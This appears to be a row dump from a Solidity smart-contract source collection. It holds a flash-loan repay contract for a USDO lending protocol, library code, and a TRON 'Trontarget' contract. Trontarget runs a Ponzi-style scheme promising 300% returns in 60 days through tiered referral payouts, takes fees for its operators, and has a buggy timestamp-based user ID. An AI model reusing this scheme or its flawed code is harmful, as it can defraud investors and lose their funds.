uint256 mocBtcTotal = amount.mul(mocPrice).div(btcPrice);
return mocBtcTotal;
}
function getPayableAddress(MocLibConfig storage , address account) public pure
returns (address payable) {
return address(uint160(account));
}
function mulr(uint x, uint y, uint256 precision) internal pure returns (uint z) {
return x.mul(y).add(precision.div(2)).div(precision);
}
function pow(uint256 x, uint256 n, uint256 precision) internal pure returns (uint z) {
uint256 x2 = x;
z = n % 2 != 0 ? x : precision;
for (n /= 2; n != 0; n /= 2) {
x2 = mulr(x2, x2, precision);
if (n % 2 != 0) {
z = mulr(z, x2, precision);
}
}
}
}
| 168,941 | 643 |
20424583ad058935ba06eb89751a3c4cefeeb7f2b33e8e51c3a53725c97e55fa
| 29,216 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/e9/e98cffa80f32354517948536cdd5947bbe95108f_FlashLoanRepay.sol
| 4,174 | 17,062 |
pragma solidity 0.8.9;
/// @notice USDOBank is a mortgage lending system that supports ERC20 as collateral and issues USDO
/// USDO is a self-issued stable coin used to support multi-collateralization protocols
interface IUSDOBank {
/// @notice deposit function: user deposit their collateral.
/// @param from: deposit from which account
/// @param collateral: deposit collateral type.
/// @param amount: collateral amount
/// @param to: account that user want to deposit to
function deposit(address from, address collateral, uint256 amount, address to) external;
/// @notice borrow function: get USDO based on the amount of user's collaterals.
/// @param amount: borrow USDO amount
/// @param to: is the address receiving USDO
/// @param isDepositToJOJO: whether deposit to JOJO account
/// @param from: who want to borrow USDO
function borrow(uint256 amount, address to, bool isDepositToJOJO, address from) external;
/// @notice withdraw function: user can withdraw their collateral
/// @param collateral: withdraw collateral type
/// @param amount: withdraw amount
/// @param to: is the address receiving asset
/// @param from: who want to withdraw asset
function withdraw(address collateral, uint256 amount, address to, address from) external;
/// @notice repay function: repay the USDO in order to avoid account liquidation by liquidators
/// @param amount: repay USDO amount
/// @param to: repay to whom
function repay(uint256 amount, address to) external returns (uint256);
/// @notice liquidate function: The price of user mortgage assets fluctuates.
/// @param liquidatedTrader: is the trader to be liquidated
/// @param liquidationCollateral: is the liquidated collateral type
/// @param liquidationAmount: is the collateral amount liqidator want to take
/// @param depositCollateral: User can deposit collaterals or repay USDO to keep account safe
/// @param depositAmount: repay or deposit amount
/// @param expectLiquidateAmount: expect liquidate amount
function liquidate(address liquidatedTrader,
address liquidationCollateral,
address liquidator,
uint256 liquidationAmount,
address depositCollateral,
uint256 depositAmount,
uint256 expectLiquidateAmount) external returns (uint256 adjustedCollateral, uint256 actualLiquidatedAmount, uint256 insuranceFee);
///@notice insurance account take bad debts on unsecured accounts
///@param liquidatedTraders traders who have bad debts
function handleDebt(address[] calldata liquidatedTraders) external;
/// @notice withdraw and deposit collaterals in one transaction
/// @param receiver address who receiver the collateral
/// @param collateral collateral type
/// @param amount withdraw amount
/// @param to: if repay USDO, repay to whom
/// @param param user input
function flashLoan(address receiver, address collateral, uint256 amount, address to, bytes memory param) external;
/// @notice get the all collateral list
function getReservesList() external view returns (address[] memory);
/// @notice return the max borrow USDO amount from the deposit amount
function getDepositMaxMintAmount(address user) external view returns (uint256);
/// @notice return the collateral's max borrow USDO amount
function getCollateralMaxMintAmount(address collateral, uint256 amoount)
external
view
returns (uint256 maxAmount);
/// @notice return the collateral's max withdraw amount
function getMaxWithdrawAmount(address collateral, address user) external view returns (uint256 maxAmount);
function isAccountSafe(address user) external view returns (bool);
function getCollateralPrice(address collateral) external view returns (uint256);
function getIfHasCollateral(address from, address collateral) external view returns (bool);
function getDepositBalance(address collateral, address from) external view returns (uint256);
function getBorrowBalance(address from) external view returns (uint256);
function getUserCollateralList(address from) external view returns (address[] memory);
function getFee(address trader) external view returns (int256);
function getTotalBorrow(address trader) external view returns (uint256);
function getTotalRepay(address trader) external view returns (uint256);
}
/// @notice USDOExchange is an exchange system that allow users to exchange USDC to USDO in 1:1
interface IUSDOExchange {
/// @notice in buyUSDO function, users can buy USDO using USDC
/// @param amount: the amount of USDO the users want to buy
/// @param to: the USDO transfer to which address
function buyUSDO(uint256 amount, address to) external;
}
interface IFlashLoanReceive {
function JOJOFlashLoan(address asset, uint256 amount, address to, bytes calldata param) external;
}
library DecimalMath {
uint256 constant ONE = 1e18;
function decimalMul(uint256 a, uint256 b) internal pure returns (uint256) {
return (a * b) / ONE;
}
function decimalDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return (a * ONE) / b;
}
function decimalRemainder(uint256 a, uint256 b) internal pure returns (bool) {
if (a * ONE % b == 0) {
return true;
} else {
return false;
}
}
}
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract FlashLoanRepay is IFlashLoanReceive, ReentrancyGuard{
using SafeERC20 for IERC20;
using DecimalMath for uint256;
address usdoBank;
address usdoExchange;
address immutable USDC;
address immutable USDO;
constructor(address _usdoBank,
address _usdoExchange,
address _USDC,
address _USDO) {
usdoBank = _usdoBank;
usdoExchange = _usdoExchange;
USDC = _USDC;
USDO = _USDO;
}
function JOJOFlashLoan(address asset, uint256 amount, address to, bytes calldata param) external nonReentrant{
(address approveTarget, address swapTarget, bytes memory data) = abi.decode(param, (address, address, bytes));
IERC20(asset).approve(approveTarget, amount);
(bool success,) = swapTarget.call(data);
if (success == false) {
assembly {
let ptr := mload(0x40)
let size := returndatasize()
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
}
uint256 USDCAmount = IERC20(USDC).balanceOf(address(this));
uint256 USDOAmount = USDCAmount;
uint256 borrowBalance = IUSDOBank(usdoBank).getBorrowBalance(to);
if(USDCAmount <= borrowBalance) {
IERC20(USDC).approve(usdoExchange, USDCAmount);
IUSDOExchange(usdoExchange).buyUSDO(USDCAmount, address(this));
} else {
IERC20(USDC).approve(usdoExchange, borrowBalance);
IUSDOExchange(usdoExchange).buyUSDO(borrowBalance, address(this));
IERC20(USDC).transfer(to, USDCAmount - borrowBalance);
USDOAmount = borrowBalance;
}
IERC20(USDO).approve(usdoBank, USDOAmount);
IUSDOBank(usdoBank).repay(USDOAmount, to);
}
}
| 52,118 | 644 |
23e8e978b480ba7af4726b62b6f6b8e23476898b2f93ffc0dfd7fc5910ee3695
| 21,042 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJwqrxkKKJDavyMEivUfYsJZsyksFehVRh_Trontarget.sol
| 5,686 | 20,686 |
//SourceUnit: Trontarget.sol
pragma solidity ^0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256[] referrals;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
uint256 highestInvestment;
uint256 cashback;
bool hasInvested;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Trontarget is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40; // 4% Team, Operation & Development
uint256 public constant MARKETING_RATE = 40; // 4% Marketing
uint256 public constant REFERENCE_RATE = 250; // 25% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 120; // 12% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 80; // 8% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 50; // 5% Level 3 Income
uint256 public constant MINIMUM = 100e6; // Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 1000; // Root ID : 1000
uint256 public constant PLAN_INTEREST = 300; // 300% of the investment
uint256 public constant PLAN_TERM = 60 days; // 60 Days
uint256 public LAUNCHING_TIME = 1611752400; // Time till the 10% cashback will be available
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
uint256 public totalReferralRewards_;
uint256 public rootID = REFERRER_CODE;
address payable private developerAccount_;
address payable private marketingAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
_init();
}
modifier onlyDeveloper(){
require(msg.sender == developerAccount_);
_;
}
modifier onlyMarketing(){
require(msg.sender == marketingAccount_);
_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function contractInfo() view public returns(uint256 _total_balance, uint256 _total_paid, uint256 _total_investors, uint256 _total_referrer_awards) {
return (address(this).balance, (totalInvestments_ - address(this).balance), (latestReferrerCode - 999), totalReferralRewards_);
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256, uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends,
investor.cashback,
investor.highestInvestment);
}
function getReferrals(uint256 _uid, uint256 _id) public view returns (uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
return uid2Investor[_uid].referrals[_id];
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode, bool _hasInvested) private returns (uint256) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = rootID;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
uint256 uid = block.timestamp;
address2UID[addr] = uid;
uid2Investor[uid].addr = addr;
uid2Investor[uid].referrer = _referrerCode;
uid2Investor[uid].planCount = 0;
uid2Investor[uid].hasInvested = _hasInvested;
uid2Investor[uid].highestInvestment = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
// Updating the downline for the 1st level referrer
uid2Investor[_ref1].referrals.push(address2UID[_addr]);
}
return (uid);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
bool newUser = false;
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode, true);
newUser = true;
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
require(_amount >= investor.highestInvestment, "Investment should be higher or equal to your last investment");
if(newUser) {
_calculateReferrerReward(_amount, investor.referrer);
if(block.timestamp < LAUNCHING_TIME) {
uint256 cashbackAmount = ((_amount * 100) / 1000);
investor.reinvestWallet = cashbackAmount;
}
}
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.highestInvestment = _amount;
investor.hasInvested = true;
investor.planCount = investor.planCount.add(1);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
require(_amount >= uid2Investor[uid].highestInvestment, "Investment should be higher or equal to your last investment");
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
investor.highestInvestment = _amount;
totalReinvestments_ = totalReinvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, block.timestamp);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "User doesn't exists");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
uint256 withdrawingAmount = withdrawalAmount;
if(block.timestamp < uid2Investor[uid].checkpoint + 1 days) {
// User is withdrawing more than once in a day
uint256 withdrawalCharges = (withdrawalAmount.mul(100)).div(1000);
if(withdrawalAmount < 10000000) {
// Withdrawal amount is less than 10 TRX
uint256 withdrawalChargesLeft = 10000000 - withdrawalAmount;
if(uid2Investor[uid].reinvestWallet > withdrawalChargesLeft) {
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.sub(withdrawalChargesLeft);
}else {
uid2Investor[uid].reinvestWallet = 0x0;
}
withdrawalAmount = 0;
}else if(withdrawalCharges < 10000000) {
// Withdrawal Charges is less than 10 TRX
withdrawalAmount = withdrawalAmount.sub(10000000);
}
}
uid2Investor[uid].checkpoint = block.timestamp;
if(withdrawalAmount>0){
uint256 reinvestAmount = withdrawalAmount.div(2);
if(withdrawalAmount > 90e9){
reinvestAmount = withdrawalAmount.sub(45e9);
}
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
uint256 developerPercentage = (withdrawingAmount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawingAmount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "User doesn't exists");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return _amount * (_now - _start) * _dailyInterestRate / 60 / 8640000;
}
function _isInvestorActive(uint256 _uid) private view returns (bool) {
Objects.Investor storage investor = uid2Investor[_uid];
uint256 activeInvestmentCount = investor.planCount;
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
if (investor.plans[i].isExpired) {
activeInvestmentCount = activeInvestmentCount.sub(1);
}
}
if(activeInvestmentCount == 0) {
return (false);
} else {
return (true);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
if(_isInvestorActive(_ref1)) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
}
if (_ref2 != 0) {
if(_isInvestorActive(_ref2)) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
}
if (_ref3 != 0) {
if(_isInvestorActive(_ref3)) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
totalReferralRewards_ = totalReferralRewards_.add(_allReferrerAmount);
}
}
function changeDeveloper(address payable newAddress) public onlyDeveloper {
developerAccount_ = newAddress;
}
function changeMarketing(address payable newAddress) public onlyMarketing {
marketingAccount_ = newAddress;
}
function changeRootID(uint256 newID) public onlyOwner {
rootID = newID;
}
}
| 291,411 | 645 |
1701ed17c2726c1aeacf019841ccdce75b6a568b440b541f00f63bdf913125b5
| 17,547 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/55/55bb05f32629ee35ff81887c199aebf4023d8a6d_Distributor.sol
| 3,884 | 15,358 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
